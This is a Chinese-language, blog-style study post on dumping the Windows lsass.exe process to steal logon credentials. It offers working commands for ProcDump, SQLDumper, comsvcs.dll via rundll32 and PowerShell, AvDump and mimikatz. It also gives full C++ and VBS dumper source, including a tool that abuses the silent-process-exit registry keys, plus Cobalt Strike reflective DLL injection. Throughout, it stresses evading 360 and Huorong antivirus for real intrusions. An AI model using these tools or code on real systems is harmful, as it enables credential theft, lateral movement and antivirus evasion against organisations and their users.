轉儲lsass的方法原理和實現學習
lsass.exe(Local Security Authority Subsystem Service進程空間中,存有著機器的域、本地用戶名和密碼等重要信息。如果獲取本地高權限,用戶便可以訪問LSASS進程內存,從而可以導出內部數據(password),用于橫向移動和權限提升。
之前用的方式還是比較局限,很容易就會被AV進行監測攔截下來,在這里總結一部分轉儲lsass的方法:
微軟簽名文件
1. ProcDump
ProcDump是微軟簽名的合法二進制文件,被提供用于轉儲進程內存。
可以在微軟文檔中下載官方給出的ProcDump文件:https://docs.microsoft.com/en-us/sysinternals/downloads/procdump
我們以管理員的方式運行:
Procdump64.exe -accepteula -ma lsass.exe lsass.dmp
得到轉儲文件lsass.dmp后我們將這個內存dump文件拷貝到mimikatz同目錄下,雙擊打開mimikatz執行情況如圖:
mimikatz # sekurlsa::minidump lsass.dmp Switch to MINIDUMP mimikatz # sekurlsa::logonPasswords full
就能夠獲取其目標機器的Hash
其實這種原理是lsass.exe是Windows系統的安全機制,主要用于本地安全和登陸策略,通常在我們登陸系統時輸入密碼后,密碼便會存貯在lsass.exe內存中,經過wdigest和tspkg兩個模塊調用后,對其使用可逆的算法進行加密并存儲在內存中,而Mimikatz正是通過對lsass.exe逆算獲取到明文密碼。

火絨確實不查,但是實戰過程中也遇到Procdump被殺的情況,推測可能是簽名的有效期過了,這里是使用剛下好的Procdump

360不管簽名的時間戳是不是有效都會通殺Procdump.exe,因此這種方式還是比較局限的
2.任務管理器
打開任務管理器,選中目標進程,右鍵菜單中點擊“創建轉儲文件”,文件保存為%temp%\<進程名>.dmp。

但是這種方式就相比更加雞肋
3.SQLDumper
SQLDumper.exe包含在Microsoft SQL和Office中,可生成完整轉儲文件。
tasklist /svc | findstr lsass.exe 查看lsass.exe 的PID號Sqldumper.exe ProcessID 0 0x01100 導出mdmp文件
實戰中下把生成的mdmp文件下載到本地,使用相同的操作系統打開。
mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit
文件是安全的,火絨和360都不會認為是可以或者是惡意程序,但是在轉儲該lsass.exe進程時會出現

3.Comsvcs.dll
每個Windows系統中都可以找到該文件,可以使用Rundll32執行其導出函數MiniDump實現進程的完全轉儲。
該文件是一個白名單文件,我們主要是利用了Comsvsc.dll中的導出函數APIMiniDump來實現轉儲lsass.exe的目的,注意同樣是需要管理員權限:
該文件位于C:\windows\system32\comsvcs.dll
我們使用如下方式來調用MiniDump實現轉儲lsass.exe進程:
rundll32 C:\windows\system32\comsvcs.dll MiniDump "<lsass.exe pid> dump.bin full"

該行為太過于敏感,在原理上都是通過APIMiniDumpWriteDump()獲得進程的dmp文件
而某些安全產品已經開始攔截這種行為,攔截的方法如下:
通過用戶模式下的API hook,使用跳轉(JMP)命令將NtReadVirtualMemory()的前5個字節修改為指向另一個內存地址
因此我們可以不妨自己實現一個該DLL的功能,主要為MiniDump的功能來繞過行為檢測
在comsvcs.dll找到了我們需要使用的MiniDumpw函數:

這里還需要解釋為什么有時候在cmd下無法使用comsvcs.dll的MiniDump來轉儲內存文件,因為在dump指定進程內存文件時,需要開啟SeDebugPrivilege權限,而在cmd中是默認沒有開啟該權限的

而在PS中是默認開啟的選項:

因此在實戰中可以考慮多使用:
powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 508 C:\86189\lsass.dmp full"
已達到轉儲lsass.exe的目的
而權限提升可以使用RtlAdjustPrivilege來進行,這個函數封裝在NtDll.dll中

下圖是找到的定義和解釋:

參數的含義:
Privilege [In] Privilege index to change. // 所需要的權限名稱,可以到 MSDN 查找關于 Process Token & Privilege 內容可以查到 Enable [In] If TRUE, then enable the privilege otherwise disable.// 如果為True 就是打開相應權限,如果為False 則是關閉相應權限 CurrentThread [In] If TRUE, then enable in calling thread, otherwise process.// 如果為True 則僅提升當前線程權限,否則提升整個進程的權限 Enabled [Out] Whether privilege was previously enabled or disabled.// 輸出原來相應權限的狀態(打開 | 關閉), 注意:該參數賦予空指針會出錯
具體有關該函數的實現可以參考這篇文章:
https://bbs.pediy.com/thread-76552.htm
總而言之這個函數能夠做的事就是可以將進程賦予SeDebugPrivilege權限以此來Dump內存文件
因此借鑒下國外作者的原版代碼:
// BypassHashdump.cpp : 此文件包含 "main" 函數。程序執行將在此處開始并結束。//#define UNICODE //使用UNICODE 對應main函數就是wmain#include #include
typedef HRESULT(WINAPI* _MiniDumpW)( DWORD arg1, DWORD arg2, PWCHAR cmdline );
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)( ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled );// " full"int wmain(int argc, wchar_t* argv[]) { HRESULT hr; _MiniDumpW MiniDumpW; _RtlAdjustPrivilege RtlAdjustPrivilege; ULONG t; //從comsvcs.dll中獲得MiniDunpw導出函數 MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW"); //從NTdll中獲得RtlAdjustPrivilege導出函數用戶提權 RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(LoadLibrary(L"ntdll.dll"), "RtlAdjustPrivilege"); if (MiniDumpW == NULL) { printf("Unable to resolve COMSVCS!MiniDumpW."); return 0; }
if (RtlAdjustPrivilege == NULL) { printf("Unable to resolve RtlAdjustPrivilege."); return 0; } // 獲取SeDebugPrivilege,最后一個參數別設置為NULL RtlAdjustPrivilege(20, TRUE, FALSE, &t); printf("Invoking COMSVCS!MiniDumpW(\"%ws\")", argv[1]); //dump lsass.exe
MiniDumpW(0, 0, argv[1]);
printf("OK!");
return 0;

火絨和360均未攔截,并且VT免殺率尚可:

并且火絨和360都不會檢測到其行為:

作者還提到了使用VBS來實現首先開啟SeDebugPrivilege權限,接著執行rundll32的命令
Option Explicit
Const SW_HIDE = 0
If (WScript.Arguments.Count <> 1) Then WScript.StdOut.WriteLine("procdump - Copyright (c) 2019 odzhan") WScript.StdOut.WriteLine("Usage: procdump ") WScript.QuitElse Dim fso, svc, list, proc, startup, cfg, pid, str, cmd, query, dmp
' get process id or name pid = WScript.Arguments(0)
' connect with debug privilege Set fso = CreateObject("Scripting.FileSystemObject") Set svc = GetObject("WINMGMTS:{impersonationLevel=impersonate, (Debug)}")
' if not a number If(Not IsNumeric(pid)) Then query = "Name" Else query = "ProcessId" End If
' try find it Set list = svc.ExecQuery("SELECT * From Win32_Process Where " & _ query & " = '" & pid & "'")
If (list.Count = 0) Then WScript.StdOut.WriteLine("Can't find active process : " & pid) WScript.Quit() End If
For Each proc in list pid = proc.ProcessId str = proc.Name Exit For Next
dmp = fso.GetBaseName(str) & ".bin"
' if dump file already exists, try to remove it If(fso.FileExists(dmp)) Then WScript.StdOut.WriteLine("Removing " & dmp) fso.DeleteFile(dmp) End If
WScript.StdOut.WriteLine("Attempting to dump memory from " & _ str & ":" & pid & " to " & dmp)
Set proc = svc.Get("Win32_Process") Set startup = svc.Get("Win32_ProcessStartup") Set cfg = startup.SpawnInstance_ cfg.ShowWindow = SW_HIDE
cmd = "rundll32 C:\windows\system32\comsvcs.dll, MiniDump " & _ pid & " " & fso.GetAbsolutePathName(".") & "\" & _ dmp & " full"
Call proc.Create (cmd, null, cfg, pid)
' sleep for a second Wscript.Sleep(1000)
If(fso.FileExists(dmp)) Then WScript.StdOut.WriteLine("Memory saved to " & dmp) Else WScript.StdOut.WriteLine("Something went wrong.") End IfEnd If
但是直接出現通過rundll方式調用已經被列入是可疑行為,同樣會被攔截

自定義轉儲
目前比較常見的首發使用MiniDumpWriteDump這個Windows API來dump內存,該API位于dbghelp.dll中的導出函數:

該函數的定義如下:
BOOL MiniDumpWriteDump( HANDLE hProcess, DWORD ProcessId, HANDLE hFile, MINIDUMP_TYPE DumpType, PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam, PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam, PMINIDUMP_CALLBACK_INFORMATION CallbackParam);
因此我們需要得到lsass.exe的進程句柄,并且還要創建一個可寫文件用于outfile參數的寫入:
#include #include #include #include //鏈接#pragma comment( lib, "Dbghelp.lib" )using namespace std;
int main() { DWORD lsassPID = 0; HANDLE lsassHandle = NULL; HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 processEntry = {}; processEntry.dwSize = sizeof(PROCESSENTRY32); LPCWSTR processName = L""; //遍歷lsass.exe 的PID if (Process32First(snapshot, &processEntry)) { while (_wcsicmp(processName, L"lsass.exe") != 0) { Process32Next(snapshot, &processEntry); processName = processEntry.szExeFile; lsassPID = processEntry.th32ProcessID; } wcout << "[+] Got lsass.exe PID: " << lsassPID << endl; } //調用MiniDumpWriteDump lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID); BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (isDumped) { cout << "[+] lsass dumped successfully!" << endl; } return 0;}
翻了很多師傅的記錄也是這樣寫的,但我本地vs2019生成之后還是不能成功的dump lsass.exe,因此這里只是學習其dump的方式和原理,具體失敗原因還希望師傅多多指點
注意該方法的一個細節就是通過獲取目標進程的內存快照,從獲取的快照內存中讀取數據,而不是直接從目標進程中獲取,更容易躲避AV/EDR檢測。
其他工具
AvDump.exe是Avast殺毒軟件中自帶的一個程序,可用于轉儲指定進程(lsass.exe)內存數據,因為它帶有 Avast 殺軟數字簽名,所以不會被反病毒檢測和查殺,默認安裝路徑和下載地址如下:
https://www.pconlife.com/viewfileinfo/avdump64-exe/#fileinfoDownloadSaveInfodivGoto2
我們可以使用如下命令:
.\avdump64.exe --pid <lsass pid> --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\ProgramData\lsass.dmp

注意需要在ps中調用,否則cmd默認是不開啟seDEBUGPrivilege權限的,但是現在360會檢測到avdump
靜默進程退出機制觸發LSASS
該技術和Werfault.exe進程有關,在某個運行中的進程崩潰時,werfault.exe將會Dump崩潰進程的內存,從這一點上看,我們是有可能可以利用該行為進行目標進程內存的Dump。
在https://www.mrwu.red/web/2000.html 這篇文章中介紹了利用藍屏崩潰來繞過卡巴斯基dump lsass進程,在win7之后,windows引入一些進程退出的相關機制
稱為“靜默進程退出”的機制,該機制提供了在兩種情況下可以觸發對被監控進行進行特殊動作的能力:
(1)被監控進程調用 ExitProcess() 終止自身;
(2)其他進程調用 TerminateProcess() 結束被監控進程。
也就意味著當進程調用ExitProcess() 或 TerminateProcess()的時候,可以觸發對該進程的如下幾個特殊的動作:
- 啟動一個監控進程
- 顯示一個彈窗
- 創建一個Dump文件
由于該功能默認不開啟,我們需要對注冊表進行操作,來開啟該功能,主要的注冊表項為:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<被監控進程名>\ 注冊表項下的GlobalFlag值:0x200(FLG_MONITOR_SILENT_PROCESS_EXIT)

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\<被監控進程名>\ 注冊表項下的3個鍵值: 1)ReportingMode(REG_DWORD),該值可設置為以下幾個,具有不同功能: ??a)LAUNCH_MONITORPROCESS (0x1) – 啟動監控進程;??b)LOCAL_DUMP (0x2) – 為導致被監控進程終止的進程和被監控進程本身 二者 創建DUMP文件;??c)NOTIFICATION (0x4) – 顯示彈窗。 2)LocalDumpFolder (REG_SZ) – DUMP文件被存放的目錄,默認為%TEMP%\\Silent Process Exit; 3)DumpType – 根據 MINIDUMP_TYPE 枚舉值指定DUMP文件的類型 (Micro, Mini, Heap 或 Custom) ,完全轉儲目標進程內存的值為MiniDumpWithFullMemory (0x2)。

這里我們需要使用的是MiniDumpWithFullMemory對應的值是0x2
根據github上已有的項目代碼中我們也能進行驗證https://github.com/deepinstinct/LsassSilentProcessExit

分別設置了MiniDumpWithFullMemory和FLG_MONITOR_SILENT_PROCESS_EXIT的值
實現修改注冊表后我們就能夠通過終止目標進程即可獲得相應文件的DUMP文件,但是終止LSASS意味著系統將重啟,并且我們的目的只是為了dump保存在其中的登錄憑據,因此有沒有什么辦法能夠是進程在靜默退出而又不會實際終止進程呢?
答案是有的,我們來看這個API:RtlReportSilentProcessExit
API將與Windows錯誤報告服務(WerSvcGroup下的WerSvc)通信,告訴服務該進程正在執行靜默退出。然后,WER服務將啟動WerFault.exe,該文件將轉儲現有進程。值得注意的是,調用此API不會導致進程退出。其定義如下:
NTSTATUS (NTAPI * RtlReportSilentProcessExit )( _In_ HANDLE ProcessHandle, _In_ NTSTATUS ExitStatus );
但是在MSDN中并沒有查詢到該API的任何解釋,原來該函數是Ntdll.dll的導出函數而MSDN是沒有關于Ntdll中API的任何解釋的:

當我們調用此API不會導致Lsass進程退出,這可以讓我們在LSASS進程上執行DUMP動作而不導致LSASS的終止從而實現我們的目的
原文作者使用兩種方式,一種是直接調用RtlReportSilentProcessExit,一種是遠程在LSASS中創建線程執行RtlReportSilentProcessExit
這兩種方法都能夠成功dump內存,這里我們使用第一種方式通過RtlReportSilentProcessExit來使得lsass進程出于靜默退出狀態
貼出main.cpp:
#include "windows.h"#include "tlhelp32.h"#include "stdio.h"#include "shlwapi.h"
#pragma comment(lib, "shlwapi.lib")
#define IFEO_REG_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"#define SILENT_PROCESS_EXIT_REG_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\"#define LOCAL_DUMP 0x2#define FLG_MONITOR_SILENT_PROCESS_EXIT 0x200#define DUMP_FOLDER L"C:\\temp"#define MiniDumpWithFullMemory 0x2
typedef NTSTATUS(NTAPI * fRtlReportSilentProcessExit)( HANDLE processHandle, NTSTATUS ExitStatus );
BOOL EnableDebugPriv() { HANDLE hToken = NULL; LUID luid;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { printf(" - 獲取當前進程Token失敗 %#X", GetLastError()); return FALSE; } if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) { printf(" - Lookup SE_DEBUG_NAME失敗 %#X", GetLastError()); return FALSE; } TOKEN_PRIVILEGES tokenPriv; tokenPriv.PrivilegeCount = 1; tokenPriv.Privileges[0].Luid = luid; tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(tokenPriv), NULL, NULL)) { printf(" - AdjustTokenPrivileges 失敗: %#X", GetLastError()); return FALSE; } return TRUE;}
BOOL setRelatedRegs(PCWCHAR procName) {
HKEY hkResSubIFEO = NULL; HKEY hkResSubSPE = NULL; DWORD globalFlag = FLG_MONITOR_SILENT_PROCESS_EXIT; DWORD reportingMode = MiniDumpWithFullMemory; DWORD dumpType = LOCAL_DUMP, retstatus = -1;
BOOL ret = FALSE;
PWCHAR subkeyIFEO = (PWCHAR)malloc(lstrlenW(IFEO_REG_KEY)*2 + lstrlenW(procName)*2 + 5); wsprintf(subkeyIFEO, L"%ws%ws", IFEO_REG_KEY, procName); PWCHAR subkeySPE = (PWCHAR)malloc(lstrlenW(SILENT_PROCESS_EXIT_REG_KEY)*2 + lstrlenW(procName)*2 + 5); wsprintf(subkeySPE, L"%ws%ws", SILENT_PROCESS_EXIT_REG_KEY, procName);
printf(" - [DEBUGPRINT] Image_File_Execution_Options: %ws", subkeyIFEO); printf(" - [DEBUGPRINT] SilentProcessExit: %ws", subkeySPE);
do { // 設置 Image File Execution Options\ 下GlobalFlag鍵值為0x200 if (ERROR_SUCCESS != (retstatus = RegCreateKey(HKEY_LOCAL_MACHINE, subkeyIFEO, &hkResSubIFEO))) { printf(" - 打開注冊表項 Image_File_Execution_Options 失敗: %#X", GetLastError()); break; } if (ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubIFEO, L"GlobalFlag", 0, REG_DWORD, (const BYTE*)&globalFlag, sizeof(globalFlag)))) { printf(" - 設置注冊表鍵 GlobalFlag 鍵值失敗: %#X", GetLastError()); break; }
// 設置 SilentProcessExit\ 下 ReporingMode/LocalDumpFolder/DumpType 三個值 if (ERROR_SUCCESS != (retstatus = RegCreateKey(HKEY_LOCAL_MACHINE, subkeySPE, &hkResSubSPE))) { printf(" - 打開注冊表項 SilentProcessExit 失敗: %#X", GetLastError()); break; } if (ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"ReportingMode", 0, REG_DWORD, (const BYTE*)&reportingMode, sizeof(reportingMode))) || ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"LocalDumpFolder", 0, REG_SZ, (const BYTE*)DUMP_FOLDER, lstrlenW(DUMP_FOLDER)*2)) || ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"DumpType", 0, REG_DWORD, (const BYTE*)&dumpType, sizeof(dumpType)))) { printf(" - 設置注冊表鍵 reportingMode|LocalDumpFolder|DumpType 鍵值失敗: %#X", GetLastError()); break; } printf(" - 注冊表設置完成 ..."); ret = TRUE;
} while (FALSE);
free(subkeyIFEO); free(subkeySPE); if (hkResSubIFEO) CloseHandle(hkResSubIFEO); if (hkResSubSPE) CloseHandle(hkResSubSPE);
return ret;}
DWORD getPidByName(PCWCHAR procName) {
HANDLE hProcSnapshot; DWORD retPid = -1; hProcSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32W pe;
if (INVALID_HANDLE_VALUE == hProcSnapshot) { printf(" - 創建快照失敗!"); return -1; } pe.dwSize = sizeof(PROCESSENTRY32W); if (!Process32First(hProcSnapshot, &pe)) { printf(" - Process32First Error : %#X", GetLastError()); return -1; } do { if (!lstrcmpiW(procName, PathFindFileName(pe.szExeFile))) { retPid = pe.th32ProcessID; } } while (Process32Next(hProcSnapshot, &pe)); CloseHandle(hProcSnapshot); return retPid;}
INT main() {
PCWCHAR targetProcName = L"lsass.exe"; DWORD pid = -1; HMODULE hNtMod = NULL; fRtlReportSilentProcessExit fnRtlReportSilentProcessExit = NULL; HANDLE hLsassProc = NULL; NTSTATUS ntStatus = -1;
if (!EnableDebugPriv()) { printf(" - 啟用當前進程DEBUG權限失敗: %#X", GetLastError()); return 1; } printf(" - 啟用當前進程DEBUG權限 OK");
if (!setRelatedRegs(targetProcName)) { printf(" - 設置相關注冊表鍵值失敗: %#X", GetLastError()); return 1; } printf(" - 設置相關注冊表鍵值 OK");
pid = getPidByName(targetProcName); if (-1 == pid) { printf(" - 獲取目標進程pid: %#X", pid); return 1; } printf(" - 獲取目標PID: %#X", pid);
do { hNtMod = GetModuleHandle(L"ntdll.dll"); if (!hNtMod) { printf(" - 獲取NTDLL模塊句柄失敗"); break; } printf(" - NTDLL模塊句柄: %#X", (DWORD)hNtMod); fnRtlReportSilentProcessExit = (fRtlReportSilentProcessExit)GetProcAddress(hNtMod, "RtlReportSilentProcessExit"); if (!fnRtlReportSilentProcessExit) { printf(" - 獲取API RtlReportSilentProcessExit地址失敗"); break; } printf(" - RtlReportSilentProcessExit地址: %#X", (DWORD)fnRtlReportSilentProcessExit); hLsassProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION|PROCESS_VM_READ, 0, pid); if (!hLsassProc) { printf(" - 獲取lsass進程句柄失敗: %#X", GetLastError()); break; } printf(" - 獲取lsass進程句柄: %#X", (DWORD)hLsassProc);
ntStatus = fnRtlReportSilentProcessExit(hLsassProc, 0); printf(" - 結束,查看c:\\temp\\lsass*.dmp...RET CODE : %#X", (DWORD)ntStatus);
} while (false);
if (hNtMod) CloseHandle(hNtMod); if (fnRtlReportSilentProcessExit) CloseHandle(fnRtlReportSilentProcessExit); if (hLsassProc) CloseHandle(hLsassProc); if (fnRtlReportSilentProcessExit) fnRtlReportSilentProcessExit = NULL;
return 0;}

并且成功以離線方式導入讀取登錄憑據:

利用這種方式目前還未被火絨和360進行攔截:

其中進程順序是lsassdump.exe->svchost.exe (WerSvcGroup)->WerFault.exe,由運行級別為high的Wefault.exe進行dump文件創建。
CS模塊中的Mimikatz
當目標機器在CS上線時,如果是管理員權限或者是SYSTEM權限的話,可以直接使用
mimikatz sekurlsa::privilege fullmimikatz sekurlsa::logonpasswords full

之前一直有疑惑,在CS中運行Mimikatz獲取登錄憑據成功,而通過落地文件方式則會直接被殺,因此CS是如何使用Mimikatz的,換句話說難道CS也是通過上傳文件的方式來調用Mimikatz的嗎?
其實不然,CS采用的是反射dll模塊內存加載,這個主要實現了cs里的一些功能比如mimikatz,screenshot,sshagent,hashdump等等這些功能全部是由反射dll實現的,Cobalt Strike作者將這些功能拆分成一個個的反射dll在使用時才加載執行
反射dll注入的方式不需要在文件系統存放目標DLL,減少了文件“落地”被刪的風險。同時它不需要像常規的DLL注入方式那么套路,因此更容易通過殺軟的行為檢測。由于反射式注入方式并沒有通過LoadLibrary等API來完成DLL的裝載,DLL并沒有在操作系統中”注冊”自己的存在,因此用ProcessExplorer等軟件也無法檢測出進程加載了該DLL
因為本人對此了解不多,具體可以參考https://www.heibai.org/176.html這篇文章
借用這篇文章所說的反射DLL注入的核心思路:
我們不想讓DLL文件“落地”, 那我們可以在磁盤上存放一份DLL的加密后的版本,然后將其解密之后儲存在內存里。我們然后可以用VirtualAlloc和WriteProcessMemory將DLL文件寫入目標進程的虛擬空間中。然而,要”加載”一個DLL,我們使用的LoadLibrary函數要求該DLL必須存在于文件系統中。這可怎么辦呢。
沒錯,我們需要拋棄LoadLibrary,自己來實現整個裝載過程!我們可以為待注入的DLL添加一個導出函數,ReflectiveLoader,這個函數實現的功能就是裝載它自身。那么我們只需要將這個DLL文件寫入目標進程的虛擬空間中,然后通過DLL的導出表找到這個ReflectiveLoader并調用它,我們的任務就完成了。
于是,我們的任務就轉到了編寫這個ReflectiveLoader上。由于ReflectiveLoader運行時所在的DLL還沒有被裝載,它在運行時會受到諸多的限制,例如無法正常使用全局變量等。而且,由于我們無法確認我們究竟將DLL文件寫到目標進程哪一處虛擬空間上,所以我們編寫的ReflectiveLoader必須是地址無關的。也就是說,ReflectiveLoader中的代碼無論處于虛擬空間的哪個位置,它都必須能正確運行。這樣的代碼被我們稱為“地址無關代碼”(position-independent code, PIC)。
要實現反射式注入DLL我們需要兩個部分,注射器和被注入的DLL。其中,被注入的DLL除了需要導出一個函數ReflectiveLoader來實現對自身的加載之外,其余部分可以正常編寫源代碼以及編譯。而注射器部分只需要將被注入的DLL文件寫入到目標進程,然后將控制權轉交給這個ReflectiveLoader即可。因此,注射器的執行流程如下:
- 將待注入DLL讀入自身內存(利用解密磁盤上加密的文件、網絡傳輸等方式避免文件落地)
- 利用VirtualAlloc和WriteProcessMemory在目標進程中寫入待注入的DLL文件
- 利用CreateRemoteThread等函數啟動位于目標進程中的
ReflectiveLoader
CS中Aggressor Script腳本提供了一些關于反射DLL的接口:https://cobaltstrike.com/aggressor-script/functions.html#bdllspawn

我們來看一下具體的實現方法:
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) { BOOL bReturnValue = TRUE; switch( dwReason ) { case DLL_QUERY_HMODULE: if( lpReserved != NULL ) *(HMODULE *)lpReserved = hAppInstance; break; case DLL_PROCESS_ATTACH: hAppInstance = hinstDLL;
/* print some output to the operator */ if (lpReserved != NULL) { printf("Hello from test.dll. Parameter is '%s'", (char *)lpReserved); } else { printf("Hello from test.dll. There is no parameter"); }
/* flush STDOUT */ fflush(stdout);
/* we're done, so let's exit */ ExitProcess(0); break; case DLL_PROCESS_DETACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: break; } return bReturnValue;}
這是該DLL的主函數,程序通過DLLMain函數的lpReserved來當做參數傳遞,我們進一步跟進這個反射DLL的項目中查看代碼:

和之前分析的一樣,先判斷該DLL是否存在ReflectiveLoader這個導出函數后,利用VirtualAlloc和WriteProcessMemory在目標進程中寫入待注入的DLL文件,最后利用reateRemoteThread函數來啟動進程中的ReflectiveLoader
這里為了說明和突出反射DLL注入的效果,我們使用作者的項目編譯好DLL后可以寫一個簡單的演示cna:
alias reflective_dll { bdllspawn($1, script_resource("reflective_dll.dll"), $2, "test dll", 5000, false);}
將其放置在同一目錄下,然后CS加載寫好的cna

通過反射DLL注入的方式調用Messagebox

而在CS中Mimikatz也是通過該方式調用,因此避免了文件落地而且同樣達到了免殺的目的,并且經過測試在DLL主函數中執行system命令也同樣不會被攔截:

